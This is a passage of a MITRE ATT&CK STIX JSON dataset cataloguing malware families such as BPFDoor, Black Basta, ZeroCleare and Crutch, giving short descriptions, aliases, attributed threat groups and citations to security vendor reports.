2023)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["BPFDoor","JustForFun","Backdoor.Linux.BPFDOOR","Backdoor.Solaris.BPFDOOR.ZAJE"],"type":"malware","id":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","created":"2024-09-20T23:08:38.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1161","external_id":"S1161"},{"source_name":"Harries JustForFun 2022","description":" Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved September 23, 2024.","url":"https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"},{"source_name":"JustForFun","description":"(Citation: Harries JustForFun 2022)"},{"source_name":"Backdoor.Solaris.BPFDOOR.ZAJE","description":"(Citation: Harries JustForFun 2022)"},{"source_name":"Backdoor.Linux.BPFDOOR","description":"(Citation: Merces BPFDOOR 2023)"},{"source_name":"Merces BPFDOOR 2023","description":"Fernando Merces. (2023, July 13). Detecting BPFDoor Backdoor Variants Abusing BPF Filters. Retrieved September 23, 2024.","url":"https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html"},{"source_name":"Deep Instinct BPFDoor 2023","description":"Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.","url":"https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"},{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-05-01T17:05:56.388Z","name":"Black Basta","description":"[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Cyble Black Basta May 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Daniyal Naeem, BT Security","Mathieu Hinse","Inna Danilevich, U.S. Bank"],"x_mitre_aliases":["Black Basta"],"type":"malware","id":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","created":"2023-03-08T19:14:27.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1070","external_id":"S1070"},{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T19:16:36.655Z","name":"ZeroCleare","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) is a wiper malware that has been used in conjunction with the [RawDisk](https://attack.mitre.org/software/S0364) driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Mandiant ROADSWEEP August 2022)(Citation: IBM ZeroCleare Wiper December 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["ZeroCleare","ZEROCLEAR"],"type":"malware","id":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","created":"2024-08-08T19:52:06.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1151","external_id":"S1151"},{"source_name":"ZEROCLEAR","description":"(Citation: Mandiant ROADSWEEP August 2022)"},{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Catchamas"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0261","external_id":"S0261"},{"source_name":"Catchamas","description":"(Citation: Symantec Catchamas April 2018)"},{"url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","source_name":"Symantec Catchamas April 2018"}],"modified":"2021-02-09T14:51:14.620Z","name":"Catchamas","description":"[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:00:54.356Z","name":"StoneDrill","description":"[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["StoneDrill","DROPSHOT"],"type":"malware","id":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","created":"2019-05-14T15:05:06.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0380","external_id":"S0380"},{"source_name":"DROPSHOT","description":"(Citation: FireEye APT33 Sept 2017)"},{"source_name":"StoneDrill","description":"(Citation: Kaspersky StoneDrill 2017)"},{"source_name":"Kaspersky StoneDrill 2017","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["OopsIE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0264","external_id":"S0264"},{"source_name":"OopsIE","description":"(Citation: Unit 42 OopsIE! Feb 2018) (Citation: Unit 42 OilRig Sept 2018)"},{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-30T02:36:44.945Z","name":"OopsIE","description":"[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["4H RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","type":"malware","created":"2017-05-31T21:32:43.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0065","external_id":"S0065"},{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2020-03-30T14:46:14.131Z","name":"4H RAT","description":"[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:24:35.812Z","name":"RogueRobin","description":"[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_aliases":["RogueRobin"],"type":"malware","id":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0270","external_id":"S0270"},{"source_name":"RogueRobin","description":"(Citation: Unit 42 DarkHydrus July 2018)"},{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Unit42 DarkHydrus Jan 2019","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:57:38.076Z","name":"Attor","description":"[Attor](https://attack.mitre.org/software/S0438) is a Windows-based espionage platform that has been seen in use since 2013. [Attor](https://attack.mitre.org/software/S0438) has a loadable plugin architecture to customize functionality for specific targets.(Citation: ESET Attor Oct 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["ESET"],"x_mitre_aliases":["Attor"],"type":"malware","id":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","created":"2020-05-06T20:26:15.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0438","external_id":"S0438"},{"source_name":"Attor","description":"(Citation: ESET Attor Oct 2019)"},{"source_name":"ESET Attor Oct 2019","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DealersChoice"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8f460983-1bbb-4e7e-8094-f0b5e720f658","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0243","external_id":"S0243"},{"source_name":"DealersChoice","description":"(Citation: Sofacy DealersChoice)"},{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"}],"modified":"2020-03-30T15:28:13.547Z","name":"DealersChoice","description":"[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:36:07.371Z","name":"SQLRat","description":"[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["SQLRat"],"type":"malware","id":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","created":"2019-06-18T18:40:33.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0390","external_id":"S0390"},{"source_name":"SQLRat","description":"(Citation: Flashpoint FIN 7 March 2019)"},{"source_name":"Flashpoint FIN 7 March 2019","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["LitePower"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","created":"2022-02-02T14:57:58.026Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0680","url":"https://attack.mitre.org/software/S0680"},{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-16T20:36:35.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LitePower","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MegaCortex"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","type":"malware","created":"2021-02-17T20:27:27.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0576","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0576"},{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."},{"source_name":"FireEye Ransomware Disrupt Industrial Production","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html","description":"Zafra, D. Lunden, K. Brubaker, N. Kennelly, J.. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved February 9, 2021."},{"source_name":"FireEye Financial Actors Moving into OT","url":"https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html","description":"Brubaker, N. Zafra, D. K. Lunden, K. Proska, K. Hildebrandt, C.. (2020, July 15). Financially Motivated Actors Are Expanding Access Into OT: Analysis of Kill Lists That Include OT Processes Used With Seven Malware Families. Retrieved February 15, 2021."}],"modified":"2021-04-26T13:39:41.601Z","name":"MegaCortex","description":"[MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["StreamEx"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","type":"malware","created":"2017-05-31T21:33:21.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0142","external_id":"S0142"},{"source_name":"StreamEx","description":"(Citation: Cylance Shell Crew Feb 2017)"},{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-30T18:15:56.762Z","name":"StreamEx","description":"[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-25T18:56:12.154Z","name":"Ngrok","description":"","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Janantha Marasinghe"],"x_mitre_aliases":["Ngrok"],"type":"malware","id":"malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b","created":"2020-09-15T13:32:10.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S9000","external_id":"S9000"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["BoxCaon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--919a056e-5104-43b9-ad55-2ac929108b71","type":"malware","created":"2021-09-27T20:50:56.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0651","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0651"},{"source_name":"BoxCaon","description":"(Citation: Checkpoint IndigoZebra July 2021)(Citation: HackerNews IndigoZebra July 2021)"},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."}],"modified":"2021-10-16T02:17:53.847Z","name":"BoxCaon","description":"[BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-27T19:33:24.323Z","name":"NightClub","description":"[NightClub](https://attack.mitre.org/software/S1090) is a modular implant written in C++ that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2014.(Citation: MoustachedBouncer ESET August 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["NightClub"],"type":"malware","id":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","created":"2023-09-27T19:32:52.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1090","external_id":"S1090"},{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Crutch"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","type":"malware","created":"2020-12-04T20:43:50.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0538","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0538"},{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-22T21:35:01.766Z","name":"Crutch","description":"[Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 